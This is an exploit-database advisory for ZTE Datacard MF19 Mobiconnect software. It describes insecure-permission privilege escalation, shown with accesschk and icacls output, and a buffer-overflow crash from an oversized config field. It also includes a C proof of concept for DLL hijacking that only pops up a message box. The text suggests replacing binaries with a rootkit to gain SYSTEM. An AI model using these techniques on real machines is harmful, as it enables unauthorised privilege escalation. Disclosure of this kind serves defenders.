ZTE Datacard MF19 Privilege Escalation / DLL Hijacking



EKU-ID: 4497 CVE: OSVDB-ID:
Author: hadji samir Published: 2015-01-06 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


    /* 
    * Exploit Title:ZTE Datacard  MF19 0V1.0.0B04 (PCW_MOBILISALGV1.0.0B03  mobilis )   Insecure Permissions Local Privilege Escalation & PoC Local crash  & DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll)
    * Date: 1/01/2015
    * Author: Hadji Samir s-dz@hotmail.fr
    * Link soft:http://www.3g.dz/fr/cle_mas/index.php?id_document=2
    * Vendor: http://www.zte.com.cn/  http://www.mobilis.dz/entreprises/mobiconnect.php
    * Tested on: windows 7 FR
    * Thanks Anna 




############################# Insecure Permissions Local Privilege Escalation ################################################
Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official ZTE Datacard mobiconnect  application software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.

The application is vulnerable to an elevation of privileges vulnerability which can be used by a simple user that can change
the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the `F` flag (full)
for the `Everyone`(Tout le monde:F) and `Users` group, for the all binary file. The files are installed in the `Ucell Internet`
directory which has the Everyone group assigned to it with full permissions making every single file inside vulnerable to change
by any user on the affected machine. After you replace the binary with your rootkit, on reboot you get SYSTEM privileges.



Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---
   
C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\Mobiconnect"
C:\Program Files\Mobiconnect
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Tout le monde
        FILE_ALL_ACCESS
  RW NT SERVICE\TrustedInstaller
        FILE_ALL_ACCESS
  RW AUTORITE NT\Syst�me
        FILE_ALL_ACCESS
  RW BUILTIN\Administrateurs
        FILE_ALL_ACCESS
  R  BUILTIN\Utilisateurs
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\s-dz\Desktop>


C:\Program Files>icacls "Mobiconnect"
Mobiconnect Tout le monde:(F)
            Tout le monde:(OI)(CI)(IO)(F)
            NT SERVICE\TrustedInstaller:(I)(F)
            NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
            AUTORITE NT\Syst�me:(I)(F)
            AUTORITE NT\Syst�me:(I)(OI)(CI)(IO)(F)
            BUILTIN\Administrateurs:(I)(F)
            BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
            BUILTIN\Utilisateurs:(I)(RX)
            BUILTIN\Utilisateurs:(I)(OI)(CI)(IO)(GR,GE)
            CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)

1 fichiers correctement trait�s�; �chec du traitement de 0 fichiers





2-  ########################### PoC Local crash ##########################################################


first go to C:\program files\Internet Mobile\etworkCfg.xml (Network configuration)
and write "A" * 3000 in     <ConfigFileName>"A" x 3000</ConfigFileName> . Save it open the program .
poc will crash ...........
                                                       



##########################################################################################################


3-########################DLL Hijacking Exploit (mms_dll_r.dll, mediaplayerdll.dll)#######################

    */

    #include <windows.h> 

    BOOL WINAPI DllMain (
                HANDLE    hinstDLL,
                DWORD     fdwReason,
                LPVOID    lpvReserved)
    {
        switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    owned();
    case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }

    int owned() {
    MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK);
    }